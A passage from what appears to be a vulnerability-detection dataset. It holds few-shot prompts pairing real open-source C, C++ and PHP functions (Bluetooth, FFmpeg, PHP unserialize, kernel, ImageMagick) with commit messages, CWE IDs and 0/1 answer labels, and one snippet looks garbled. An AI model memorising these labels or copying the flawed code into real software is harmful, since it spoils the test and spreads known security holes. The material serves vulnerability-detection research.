*p_org_set) { UNUSED(p_org_set); BTIF_TRACE_DEBUG("entering %s",__FUNCTION__); for (const list_node_t *node = list_begin(soc_queue); node != list_end(soc_queue); node = list_next(node)) { btif_hl_soc_cb_t *p_scb = list_node(node); if (btif_hl_get_socket_state(p_scb) == BTIF_HL_SOC_STATE_W4_READ) { if (FD_ISSET(p_scb->socket_id[1], p_cur_set)) { BTIF_TRACE_DEBUG("read data state= BTIF_HL_SOC_STATE_W4_READ"); btif_hl_mdl_cb_t *p_dcb = BTIF_HL_GET_MDL_CB_PTR(p_scb->app_idx, p_scb->mcl_idx, p_scb->mdl_idx); assert(p_dcb != NULL); if (p_dcb->p_tx_pkt) { BTIF_TRACE_ERROR("Rcv new pkt but the last pkt is still not been" " sent tx_size=%d", p_dcb->tx_size); btif_hl_free_buf((void **) &p_dcb->p_tx_pkt); } p_dcb->p_tx_pkt = btif_hl_get_buf (p_dcb->mtu); if (p_dcb) { int r = (int)recv(p_scb->socket_id[1], p_dcb->p_tx_pkt, p_dcb->mtu, MSG_DONTWAIT); if (r > 0) { BTIF_TRACE_DEBUG("btif_hl_select_monitor_callback send data r =%d", r); p_dcb->tx_size = r; BTIF_TRACE_DEBUG("btif_hl_select_monitor_callback send data tx_size=%d", p_dcb->tx_size ); BTA_HlSendData(p_dcb->mdl_handle, p_dcb->tx_size); } else { BTIF_TRACE_DEBUG("btif_hl_select_monitor_callback receive failed r=%d",r); BTA_HlDchClose(p_dcb->mdl_handle); } } } } } if (list_is_empty(soc_queue)) BTIF_TRACE_DEBUG("btif_hl_select_monitor_queue is empty"); BTIF_TRACE_DEBUG("leaving %s",__FUNCTION__); } Commit Message: DO NOT MERGE Fix potential DoS caused by delivering signal to BT process Bug: 28885210 Change-Id: I63866d894bfca47464d6e42e3fb0357c4f94d360 Conflicts: btif/co/bta_hh_co.c btif/src/btif_core.c Merge conflict resolution of ag/1161415 (referencing ag/1164670) - Directly into mnc-mr2-release CWE ID: CWE-284 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: Chapters::Edition::~Edition() { } Commit Message: libwebm: Pull from upstream Rolling mkvparser from upstream. Primarily for fixing a bug on parsing failures with certain Opus WebM files. Upstream commit hash of this pull: 574045edd4ecbeb802ee3f1d214b5510269852ae The diff is so huge because there were some style clean ups upstream. But it was ensured that there were no breaking changes when the style clean ups was done upstream. Change-Id: Ib6e907175484b4b0ae1b55ab39522ea3188ad039 CWE ID: CWE-119 Target: 1 Example 2: Code: MockScreenLockLibrary* CrosMock::mock_screen_lock_library() { return mock_screen_lock_library_; } Commit Message: Extend TTS extension API to support richer events returned from the engine to the client. Previously we just had a completed event; this adds start, word boundary, sentence boundary, and marker boundary. In addition, interrupted and canceled, which were previously errors, now become events. Mac and Windows implementations extended to support as many of these events as possible. BUG=67713 BUG=70198 BUG=75106 BUG=83404 TEST=Updates all TTS API tests to be event-based, and adds new tests. Review URL: http://codereview.chromium.org/6792014 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@91665 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-20 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static int dv_extract_audio(uint8_t* frame, uint8_t* ppcm[4], const DVprofile *sys) { int size, chan, i, j, d, of, smpls, freq, quant, half_ch; uint16_t lc, rc; const uint8_t* as_pack; uint8_t *pcm, ipcm; as_pack = dv_extract_pack(frame, dv_audio_source); if (!as_pack) /* No audio ? */ return 0; smpls = as_pack[1] & 0x3f; /* samples in this frame - min. samples */ freq = (as_pack[4] >> 3) & 0x07; /* 0 - 48kHz, 1 - 44,1kHz, 2 - 32kHz */ quant = as_pack[4] & 0x07; /* 0 - 16bit linear, 1 - 12bit nonlinear */ if (quant > 1) return -1; /* unsupported quantization */ size = (sys->audio_min_samples[freq] + smpls) * 4; /* 2ch, 2bytes */ half_ch = sys->difseg_size / 2; /* We work with 720p frames split in half, thus even frames have * channels 0,1 and odd 2,3. */ ipcm = (sys->height == 720 && !(frame[1] & 0x0C)) ? 2 : 0; pcm = ppcm[ipcm++]; /* for each DIF channel */ for (chan = 0; chan < sys->n_difchan; chan++) { /* for each DIF segment */ for (i = 0; i < sys->difseg_size; i++) { frame += 6 * 80; /* skip DIF segment header */ break; } /* for each AV sequence */ for (j = 0; j < 9; j++) { for (d = 8; d < 80; d += 2) { if (quant == 0) { /* 16bit quantization */ of = sys->audio_shuffle[i][j] + (d - 8) / 2 * sys->audio_stride; if (of*2 >= size) continue; pcm[of*2] = frame[d+1]; // FIXME: maybe we have to admit pcm[of*2+1] = frame[d]; // that DV is a big-endian PCM if (pcm[of*2+1] == 0x80 && pcm[of*2] == 0x00) pcm[of*2+1] = 0; } else { /* 12bit quantization */ lc = ((uint16_t)frame[d] << 4) | ((uint16_t)frame[d+2] >> 4); rc = ((uint16_t)frame[d+1] << 4) | ((uint16_t)frame[d+2] & 0x0f); lc = (lc == 0x800 ? 0 : dv_audio_12to16(lc)); rc = (rc == 0x800 ? 0 : dv_audio_12to16(rc)); of = sys->audio_shuffle[i%half_ch][j] + (d - 8) / 3 * sys->audio_stride; if (of*2 >= size) continue; pcm[of*2] = lc & 0xff; // FIXME: maybe we have to admit pcm[of*2+1] = lc >> 8; // that DV is a big-endian PCM of = sys->audio_shuffle[i%half_ch+half_ch][j] + (d - 8) / 3 * sys->audio_stride; pcm[of*2] = rc & 0xff; // FIXME: maybe we have to admit pcm[of*2+1] = rc >> 8; // that DV is a big-endian PCM ++d; } } frame += 16 * 80; /* 15 Video DIFs + 1 Audio DIF */ } } frame += 16 * 80; /* 15 Video DIFs + 1 Audio DIF */ } Commit Message: CWE ID: CWE-20 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER) { const unsigned char *cursor, *limit, *marker, *start; zval *rval_ref; limit = max; cursor = *p; if (YYCURSOR >= YYLIMIT) { return 0; } if (var_hash && (*p)[0] != 'R') { var_push(var_hash, rval); } start = cursor; #line 554 "ext/standard/var_unserializer.c" { YYCTYPE yych; static const unsigned char yybm[] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, }; if ((YYLIMIT - YYCURSOR) < 7) YYFILL(7); yych = *YYCURSOR; switch (yych) { case 'C': case 'O': goto yy13; case 'N': goto yy5; case 'R': goto yy2; case 'S': goto yy10; case 'a': goto yy11; case 'b': goto yy6; case 'd': goto yy8; case 'i': goto yy7; case 'o': goto yy12; case 'r': goto yy4; case 's': goto yy9; case '}': goto yy14; default: goto yy16; } yy2: yych = *(YYMARKER = ++YYCURSOR); if (yych == ':') goto yy95; yy3: #line 884 "ext/standard/var_unserializer.re" { return 0; } #line 580 "ext/standard/var_unserializer.c" yy4: yych = *(YYMARKER = ++YYCURSOR); if (yych == ':') goto yy89; goto yy3; yy5: yych = *++YYCURSOR; if (yych == ';') goto yy87; goto yy3; yy6: yych = *(YYMARKER = ++YYCURSOR); if (yych == ':') goto yy83; goto yy3; yy7: yych = *(YYMARKER = ++YYCURSOR); if (yych == ':') goto yy77; goto yy3; yy8: yych = *(YYMARKER = ++YYCURSOR); if (yych == ':') goto yy53; goto yy3; yy9: yych = *(YYMARKER = ++YYCURSOR); if (yych == ':') goto yy46; goto yy3; yy10: yych = *(YYMARKER = ++YYCURSOR); if (yych == ':') goto yy39; goto yy3; yy11: yych = *(YYMARKER = ++YYCURSOR); if (yych == ':') goto yy32; goto yy3; yy12: yych = *(YYMARKER = ++YYCURSOR); if (yych == ':') goto yy25; goto yy3; yy13: yych = *(YYMARKER = ++YYCURSOR); if (yych == ':') goto yy17; goto yy3; yy14: ++YYCURSOR; #line 878 "ext/standard/var_unserializer.re" { /* this is the case where we have less data than planned */ php_error_docref(NULL, E_NOTICE, "Unexpected end of serialized data"); return 0; /* not sure if it should be 0 or 1 here? */ } #line 629 "ext/standard/var_unserializer.c" yy16: yych = *++YYCURSOR; goto yy3; yy17: yych = *++YYCURSOR; if (yybm[0+yych] & 128) { goto yy20; } if (yych == '+') goto yy19; yy18: YYCURSOR = YYMARKER; goto yy3; yy19: yych = *++YYCURSOR; if (yybm[0+yych] & 128) { goto yy20; } goto yy18; yy20: ++YYCURSOR; if ((YYLIMIT - YYCURSOR) < 2) YYFILL(2); yych = *YYCURSOR; if (yybm[0+yych] & 128) { goto yy20; } if (yych != ':') goto yy18; yych = *++YYCURSOR; if (yych != '"') goto yy18; ++YYCURSOR; #line 733 "ext/standard/var_unserializer.re" { size_t len, len2, len3, maxlen; zend_long elements; char *str; zend_string *class_name; zend_class_entry *ce; int incomplete_class = 0; int custom_object = 0; zval user_func; zval retval; zval args[1]; if (!var_hash) return 0; if (*start == 'C') { custom_object = 1; } len2 = len = parse_uiv(start + 2); maxlen = max - YYCURSOR; if (maxlen < len || len == 0) { *p = start + 2; return 0; } str = (char*)YYCURSOR; YYCURSOR += len; if (*(YYCURSOR) != '"') { *p = YYCURSOR; return 0; } if (*(YYCURSOR+1) != ':') { *p = YYCURSOR+1; return 0; } len3 = strspn(str, "0123456789_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\177\200\201\202\203\204\205\206\207\210\211\212\213\214\215\216\217\220\221\222\223\224\225\226\227\230\231\232\233\234\235\236\237\240\241\242\243\244\245\246\247\250\251\252\253\254\255\256\257\260\261\262\263\264\265\266\267\270\271\272\273\274\275\276\277\300\301\302\303\304\305\306\307\310\311\312\313\314\315\316\317\320\321\322\323\324\325\326\327\330\331\332\333\334\335\336\337\340\341\342\343\344\345\346\347\350\351\352\353\354\355\356\357\360\361\362\363\364\365\366\367\370\371\372\373\374\375\376\377\\"); if (len3 != len) { *p = YYCURSOR + len3 - len; return 0; } class_name = zend_string_init(str, len, 0); do { if(!unserialize_allowed_class(class_name, classes)) { incomplete_class = 1; ce = PHP_IC_ENTRY; break; } /* Try to find class directly */ BG(serialize_lock)++; ce = zend_lookup_class(class_name); if (ce) { BG(serialize_lock)--; if (EG(exception)) { zend_string_release(class_name); return 0; } break; } BG(serialize_lock)--; if (EG(exception)) { zend_string_release(class_name); return 0; } /* Check for unserialize callback */ if ((PG(unserialize_callback_func) == NULL) || (PG(unserialize_callback_func)[0] == '\0')) { incomplete_class = 1; ce = PHP_IC_ENTRY; break; } /* Call unserialize callback */ ZVAL_STRING(&user_func, PG(unserialize_callback_func)); ZVAL_STR_COPY(&args[0], class_name); BG(serialize_lock)++; if (call_user_function_ex(CG(function_table), NULL, &user_func, &retval, 1, args, 0, NULL) != SUCCESS) { BG(serialize_lock)--; if (EG(exception)) { zend_string_release(class_name); zval_ptr_dtor(&user_func); zval_ptr_dtor(&args[0]); return 0; } php_error_docref(NULL, E_WARNING, "defined (%s) but not found", Z_STRVAL(user_func)); incomplete_class = 1; ce = PHP_IC_ENTRY; zval_ptr_dtor(&user_func); zval_ptr_dtor(&args[0]); break; } BG(serialize_lock)--; zval_ptr_dtor(&retval); if (EG(exception)) { zend_string_release(class_name); zval_ptr_dtor(&user_func); zval_ptr_dtor(&args[0]); return 0; } /* The callback function may have defined the class */ if ((ce = zend_lookup_class(class_name)) == NULL) { php_error_docref(NULL, E_WARNING, "Function %s() hasn't defined the class it was called for", Z_STRVAL(user_func)); incomplete_class = 1; ce = PHP_IC_ENTRY; } zval_ptr_dtor(&user_func); zval_ptr_dtor(&args[0]); break; } while (1); *p = YYCURSOR; if (custom_object) { int ret; ret = object_custom(UNSERIALIZE_PASSTHRU, ce); if (ret && incomplete_class) { php_store_class_name(rval, ZSTR_VAL(class_name), len2); } zend_string_release(class_name); return ret; } elements = object_common1(UNSERIALIZE_PASSTHRU, ce); if (incomplete_class) { php_store_class_name(rval, ZSTR_VAL(class_name), len2); } zend_string_release(class_name); return object_common2(UNSERIALIZE_PASSTHRU, elements); } #line 804 "ext/standard/var_unserializer.c" yy25: yych = *++YYCURSOR; if (yych <= ',') { if (yych != '+') goto yy18; } else { if (yych <= '-') goto yy26; if (yych <= '/') goto yy18; if (yych <= '9') goto yy27; goto yy18; } yy26: yych = *++YYCURSOR; if (yych <= '/') goto yy18; if (yych >= ':') goto yy18; yy27: ++YYCURSOR; if ((YYLIMIT - YYCURSOR) < 2) YYFILL(2); yych = *YYCURSOR; if (yych <= '/') goto yy18; if (yych <= '9') goto yy27; if (yych >= ';') goto yy18; yych = *++YYCURSOR; if (yych != '"') goto yy18; ++YYCURSOR; #line 726 "ext/standard/var_unserializer.re" { if (!var_hash) return 0; return object_common2(UNSERIALIZE_PASSTHRU, object_common1(UNSERIALIZE_PASSTHRU, ZEND_STANDARD_CLASS_DEF_PTR)); } #line 836 "ext/standard/var_unserializer.c" yy32: yych = *++YYCURSOR; if (yych == '+') goto yy33; if (yych <= '/') goto yy18; if (yych <= '9') goto yy34; goto yy18; yy33: yych = *++YYCURSOR; if (yych <= '/') goto yy18; if (yych >= ':') goto yy18; yy34: ++YYCURSOR; if ((YYLIMIT - YYCURSOR) < 2) YYFILL(2); yych = *YYCURSOR; if (yych <= '/') goto yy18; if (yych <= '9') goto yy34; if (yych >= ';') goto yy18; yych = *++YYCURSOR; if (yych != '{') goto yy18; ++YYCURSOR; #line 702 "ext/standard/var_unserializer.re" { zend_long elements = parse_iv(start + 2); /* use iv() not uiv() in order to check data range */ *p = YYCURSOR; if (!var_hash) return 0; if (elements < 0) { return 0; } array_init_size(rval, elements); if (elements) { /* we can't convert from packed to hash during unserialization, because reference to some zvals might be keept in var_hash (to support references) */ zend_hash_real_init(Z_ARRVAL_P(rval), 0); } if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_ARRVAL_P(rval), elements, 0)) { return 0; } return finish_nested_data(UNSERIALIZE_PASSTHRU); } #line 881 "ext/standard/var_unserializer.c" yy39: yych = *++YYCURSOR; if (yych == '+') goto yy40; if (yych <= '/') goto yy18; if (yych <= '9') goto yy41; goto yy18; yy40: yych = *++YYCURSOR; if (yych <= '/') goto yy18; if (yych >= ':') goto yy18; yy41: ++YYCURSOR; if ((YYLIMIT - YYCURSOR) < 2) YYFILL(2); yych = *YYCURSOR; if (yych <= '/') goto yy18; if (yych <= '9') goto yy41; if (yych >= ';') goto yy18; yych = *++YYCURSOR; if (yych != '"') goto yy18; ++YYCURSOR; #line 668 "ext/standard/var_unserializer.re" { size_t len, maxlen; zend_string *str; len = parse_uiv(start + 2); maxlen = max - YYCURSOR; if (maxlen < len) { *p = start + 2; return 0; } if ((str = unserialize_str(&YYCURSOR, len, maxlen)) == NULL) { return 0; } if (*(YYCURSOR) != '"') { zend_string_free(str); *p = YYCURSOR; return 0; } if (*(YYCURSOR + 1) != ';') { efree(str); *p = YYCURSOR + 1; return 0; } YYCURSOR += 2; *p = YYCURSOR; ZVAL_STR(rval, str); return 1; } #line 936 "ext/standard/var_unserializer.c" yy46: yych = *++YYCURSOR; if (yych == '+') goto yy47; if (yych <= '/') goto yy18; if (yych <= '9') goto yy48; goto yy18; yy47: yych = *++YYCURSOR; if (yych <= '/') goto yy18; if (yych >= ':') goto yy18; yy48: ++YYCURSOR; if ((YYLIMIT - YYCURSOR) < 2) YYFILL(2); yych = *YYCURSOR; if (yych <= '/') goto yy18; if (yych <= '9') goto yy48; if (yych >= ';') goto yy18; yych = *++YYCURSOR; if (yych != '"') goto yy18; ++YYCURSOR; #line 636 "ext/standard/var_unserializer.re" { size_t len, maxlen; char *str; len = parse_uiv(start + 2); maxlen = max - YYCURSOR; if (maxlen < len) { *p = start + 2; return 0; } str = (char*)YYCURSOR; YYCURSOR += len; if (*(YYCURSOR) != '"') { *p = YYCURSOR; return 0; } if (*(YYCURSOR + 1) != ';') { *p = YYCURSOR + 1; return 0; } YYCURSOR += 2; *p = YYCURSOR; ZVAL_STRINGL(rval, str, len); return 1; } #line 989 "ext/standard/var_unserializer.c" yy53: yych = *++YYCURSOR; if (yych <= '/') { if (yych <= ',') { if (yych == '+') goto yy57; goto yy18; } else { if (yych <= '-') goto yy55; if (yych <= '.') goto yy60; goto yy18; } } else { if (yych <= 'I') { if (yych <= '9') goto yy58; if (yych <= 'H') goto yy18; goto yy56; } else { if (yych != 'N') goto yy18; } } yych = *++YYCURSOR; if (yych == 'A') goto yy76; goto yy18; yy55: yych = *++YYCURSOR; if (yych <= '/') { if (yych == '.') goto yy60; goto yy18; } else { if (yych <= '9') goto yy58; if (yych != 'I') goto yy18; } yy56: yych = *++YYCURSOR; if (yych == 'N') goto yy72; goto yy18; yy57: yych = *++YYCURSOR; if (yych == '.') goto yy60; if (yych <= '/') goto yy18; if (yych >= ':') goto yy18; yy58: ++YYCURSOR; if ((YYLIMIT - YYCURSOR) < 4) YYFILL(4); yych = *YYCURSOR; if (yych <= ':') { if (yych <= '.') { if (yych <= '-') goto yy18; goto yy70; } else { if (yych <= '/') goto yy18; if (yych <= '9') goto yy58; goto yy18; } } else { if (yych <= 'E') { if (yych <= ';') goto yy63; if (yych <= 'D') goto yy18; goto yy65; } else { if (yych == 'e') goto yy65; goto yy18; } } yy60: yych = *++YYCURSOR; if (yych <= '/') goto yy18; if (yych >= ':') goto yy18; yy61: ++YYCURSOR; if ((YYLIMIT - YYCURSOR) < 4) YYFILL(4); yych = *YYCURSOR; if (yych <= ';') { if (yych <= '/') goto yy18; if (yych <= '9') goto yy61; if (yych <= ':') goto yy18; } else { if (yych <= 'E') { if (yych <= 'D') goto yy18; goto yy65; } else { if (yych == 'e') goto yy65; goto yy18; } } yy63: ++YYCURSOR; #line 627 "ext/standard/var_unserializer.re" { #if SIZEOF_ZEND_LONG == 4 use_double: #endif *p = YYCURSOR; ZVAL_DOUBLE(rval, zend_strtod((const char *)start + 2, NULL)); return 1; } #line 1086 "ext/standard/var_unserializer.c" yy65: yych = *++YYCURSOR; if (yych <= ',') { if (yych != '+') goto yy18; } else { if (yych <= '-') goto yy66; if (yych <= '/') goto yy18; if (yych <= '9') goto yy67; goto yy18; } yy66: yych = *++YYCURSOR; if (yych <= ',') { if (yych == '+') goto yy69; goto yy18; } else { if (yych <= '-') goto yy69; if (yych <= '/') goto yy18; if (yych >= ':') goto yy18; } yy67: ++YYCURSOR; if (YYLIMIT <= YYCURSOR) YYFILL(1); yych = *YYCURSOR; if (yych <= '/') goto yy18; if (yych <= '9') goto yy67; if (yych == ';') goto yy63; goto yy18; yy69: yych = *++YYCURSOR; if (yych <= '/') goto yy18; if (yych <= '9') goto yy67; goto yy18; yy70: ++YYCURSOR; if ((YYLIMIT - YYCURSOR) < 4) YYFILL(4); yych = *YYCURSOR; if (yych <= ';') { if (yych <= '/') goto yy18; if (yych <= '9') goto yy70; if (yych <= ':') goto yy18; goto yy63; } else { if (yych <= 'E') { if (yych <= 'D') goto yy18; goto yy65; } else { if (yych == 'e') goto yy65; goto yy18; } } yy72: yych = *++YYCURSOR; if (yych != 'F') goto yy18; yy73: yych = *++YYCURSOR; if (yych != ';') goto yy18; ++YYCURSOR; #line 611 "ext/standard/var_unserializer.re" { *p = YYCURSOR; if (!strncmp((char*)start + 2, "NAN", 3)) { ZVAL_DOUBLE(rval, php_get_nan()); } else if (!strncmp((char*)start + 2, "INF", 3)) { ZVAL_DOUBLE(rval, php_get_inf()); } else if (!strncmp((char*)start + 2, "-INF", 4)) { ZVAL_DOUBLE(rval, -php_get_inf()); } else { ZVAL_NULL(rval); } return 1; } #line 1161 "ext/standard/var_unserializer.c" yy76: yych = *++YYCURSOR; if (yych == 'N') goto yy73; goto yy18; yy77: yych = *++YYCURSOR; if (yych <= ',') { if (yych != '+') goto yy18; } else { if (yych <= '-') goto yy78; if (yych <= '/') goto yy18; if (yych <= '9') goto yy79; goto yy18; } yy78: yych = *++YYCURSOR; if (yych <= '/') goto yy18; if (yych >= ':') goto yy18; yy79: ++YYCURSOR; if (YYLIMIT <= YYCURSOR) YYFILL(1); yych = *YYCURSOR; if (yych <= '/') goto yy18; if (yych <= '9') goto yy79; if (yych != ';') goto yy18; ++YYCURSOR; #line 585 "ext/standard/var_unserializer.re" { #if SIZEOF_ZEND_LONG == 4 int digits = YYCURSOR - start - 3; if (start[2] == '-' || start[2] == '+') { digits--; } /* Use double for large zend_long values that were serialized on a 64-bit system */ if (digits >= MAX_LENGTH_OF_LONG - 1) { if (digits == MAX_LENGTH_OF_LONG - 1) { int cmp = strncmp((char*)YYCURSOR - MAX_LENGTH_OF_LONG, long_min_digits, MAX_LENGTH_OF_LONG - 1); if (!(cmp < 0 || (cmp == 0 && start[2] == '-'))) { goto use_double; } } else { goto use_double; } } #endif *p = YYCURSOR; ZVAL_LONG(rval, parse_iv(start + 2)); return 1; } #line 1214 "ext/standard/var_unserializer.c" yy83: yych = *++YYCURSOR; if (yych <= '/') goto yy18; if (yych >= '2') goto yy18; yych = *++YYCURSOR; if (yych != ';') goto yy18; ++YYCURSOR; #line 579 "ext/standard/var_unserializer.re" { *p = YYCURSOR; ZVAL_BOOL(rval, parse_iv(start + 2)); return 1; } #line 1228 "ext/standard/var_unserializer.c" yy87: ++YYCURSOR; #line 573 "ext/standard/var_unserializer.re" { *p = YYCURSOR; ZVAL_NULL(rval); return 1; } #line 1237 "ext/standard/var_unserializer.c" yy89: yych = *++YYCURSOR; if (yych <= ',') { if (yych != '+') goto yy18; } else { if (yych <= '-') goto yy90; if (yych <= '/') goto yy18; if (yych <= '9') goto yy91; goto yy18; } yy90: yych = *++YYCURSOR; if (yych <= '/') goto yy18; if (yych >= ':') goto yy18; yy91: ++YYCURSOR; if (YYLIMIT <= YYCURSOR) YYFILL(1); yych = *YYCURSOR; if (yych <= '/') goto yy18; if (yych <= '9') goto yy91; if (yych != ';') goto yy18; ++YYCURSOR; #line 548 "ext/standard/var_unserializer.re" { zend_long id; *p = YYCURSOR; if (!var_hash) return 0; id = parse_iv(start + 2) - 1; if (id == -1 || (rval_ref = var_access(var_hash, id)) == NULL) { return 0; } if (rval_ref == rval) { return 0; } if (Z_ISUNDEF_P(rval_ref) || (Z_ISREF_P(rval_ref) && Z_ISUNDEF_P(Z_REFVAL_P(rval_ref)))) { ZVAL_UNDEF(rval); return 1; } ZVAL_COPY(rval, rval_ref); return 1; } #line 1285 "ext/standard/var_unserializer.c" yy95: yych = *++YYCURSOR; if (yych <= ',') { if (yych != '+') goto yy18; } else { if (yych <= '-') goto yy96; if (yych <= '/') goto yy18; if (yych <= '9') goto yy97; goto yy18; } yy96: yych = *++YYCURSOR; if (yych <= '/') goto yy18; if (yych >= ':') goto yy18; yy97: ++YYCURSOR; if (YYLIMIT <= YYCURSOR) YYFILL(1); yych = *YYCURSOR; if (yych <= '/') goto yy18; if (yych <= '9') goto yy97; if (yych != ';') goto yy18; ++YYCURSOR; #line 522 "ext/standard/var_unserializer.re" { zend_long id; *p = YYCURSOR; if (!var_hash) return 0; id = parse_iv(start + 2) - 1; if (id == -1 || (rval_ref = var_access(var_hash, id)) == NULL) { return 0; } zval_ptr_dtor(rval); if (Z_ISUNDEF_P(rval_ref) || (Z_ISREF_P(rval_ref) && Z_ISUNDEF_P(Z_REFVAL_P(rval_ref)))) { ZVAL_UNDEF(rval); return 1; } if (Z_ISREF_P(rval_ref)) { ZVAL_COPY(rval, rval_ref); } else { ZVAL_NEW_REF(rval_ref, rval_ref); ZVAL_COPY(rval, rval_ref); } return 1; } #line 1334 "ext/standard/var_unserializer.c" } #line 886 "ext/standard/var_unserializer.re" return 0; } Commit Message: Fix bug #72663 - destroy broken object when unserializing (cherry picked from commit 448c9be157f4147e121f1a2a524536c75c9c6059) CWE ID: CWE-502 Target: 1 Example 2: Code: static void red_channel_client_set_remote_caps(RedChannelClient* rcc, int num_common_caps, uint32_t *common_caps, int num_caps, uint32_t *caps) { rcc->remote_caps.num_common_caps = num_common_caps; rcc->remote_caps.common_caps = spice_memdup(common_caps, num_common_caps * sizeof(uint32_t)); rcc->remote_caps.num_caps = num_caps; rcc->remote_caps.caps = spice_memdup(caps, num_caps * sizeof(uint32_t)); } Commit Message: CWE ID: CWE-399 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static int sha512_ssse3_import(struct shash_desc *desc, const void *in) { struct sha512_state *sctx = shash_desc_ctx(desc); memcpy(sctx, in, sizeof(*sctx)); return 0; } Commit Message: crypto: prefix module autoloading with "crypto-" This prefixes all crypto module loading with "crypto-" so we never run the risk of exposing module auto-loading to userspace via a crypto API, as demonstrated by Mathias Krause: https://lkml.org/lkml/2013/3/4/70 Signed-off-by: Kees Cook <[email protected]> Signed-off-by: Herbert Xu <[email protected]> CWE ID: CWE-264 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static int perf_event_read_group(struct perf_event *event, u64 read_format, char __user *buf) { struct perf_event *leader = event->group_leader, *sub; int n = 0, size = 0, ret = -EFAULT; struct perf_event_context *ctx = leader->ctx; u64 values[5]; u64 count, enabled, running; mutex_lock(&ctx->mutex); count = perf_event_read_value(leader, &enabled, &running); values[n++] = 1 + leader->nr_siblings; if (read_format & PERF_FORMAT_TOTAL_TIME_ENABLED) values[n++] = enabled; if (read_format & PERF_FORMAT_TOTAL_TIME_RUNNING) values[n++] = running; values[n++] = count; if (read_format & PERF_FORMAT_ID) values[n++] = primary_event_id(leader); size = n * sizeof(u64); if (copy_to_user(buf, values, size)) goto unlock; ret = size; list_for_each_entry(sub, &leader->sibling_list, group_entry) { n = 0; values[n++] = perf_event_read_value(sub, &enabled, &running); if (read_format & PERF_FORMAT_ID) values[n++] = primary_event_id(sub); size = n * sizeof(u64); if (copy_to_user(buf + ret, values, size)) { ret = -EFAULT; goto unlock; } ret += size; } unlock: mutex_unlock(&ctx->mutex); return ret; } Commit Message: perf: Fix event->ctx locking There have been a few reported issues wrt. the lack of locking around changing event->ctx. This patch tries to address those. It avoids the whole rwsem thing; and while it appears to work, please give it some thought in review. What I did fail at is sensible runtime checks on the use of event->ctx, the RCU use makes it very hard. Signed-off-by: Peter Zijlstra (Intel) <[email protected]> Cc: Paul E. McKenney <[email protected]> Cc: Jiri Olsa <[email protected]> Cc: Arnaldo Carvalho de Melo <[email protected]> Cc: Linus Torvalds <[email protected]> Link: http://lkml.kernel.org/r/[email protected] Signed-off-by: Ingo Molnar <[email protected]> CWE ID: CWE-264 Target: 1 Example 2: Code: static void ip_mc_filter_add(struct in_device *in_dev, __be32 addr) { char buf[MAX_ADDR_LEN]; struct net_device *dev = in_dev->dev; /* Checking for IFF_MULTICAST here is WRONG-WRONG-WRONG. We will get multicast token leakage, when IFF_MULTICAST is changed. This check should be done in ndo_set_rx_mode routine. Something sort of: if (dev->mc_list && dev->flags&IFF_MULTICAST) { do it; } --ANK */ if (arp_mc_map(addr, buf, dev, 0) == 0) dev_mc_add(dev, buf); } Commit Message: igmp: Avoid zero delay when receiving odd mixture of IGMP queries Commit 5b7c84066733c5dfb0e4016d939757b38de189e4 ('ipv4: correct IGMP behavior on v3 query during v2-compatibility mode') added yet another case for query parsing, which can result in max_delay = 0. Substitute a value of 1, as in the usual v3 case. Reported-by: Simon McVittie <[email protected]> References: http://bugs.debian.org/654876 Signed-off-by: Ben Hutchings <[email protected]> Signed-off-by: David S. Miller <[email protected]> CWE ID: CWE-399 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static Image *ReadDCMImage(const ImageInfo *image_info,ExceptionInfo *exception) { #define ThrowDCMException(exception,message) \ { \ if (info.scale != (Quantum *) NULL) \ info.scale=(Quantum *) RelinquishMagickMemory(info.scale); \ if (data != (unsigned char *) NULL) \ data=(unsigned char *) RelinquishMagickMemory(data); \ if (graymap != (int *) NULL) \ graymap=(int *) RelinquishMagickMemory(graymap); \ if (bluemap != (int *) NULL) \ bluemap=(int *) RelinquishMagickMemory(bluemap); \ if (greenmap != (int *) NULL) \ greenmap=(int *) 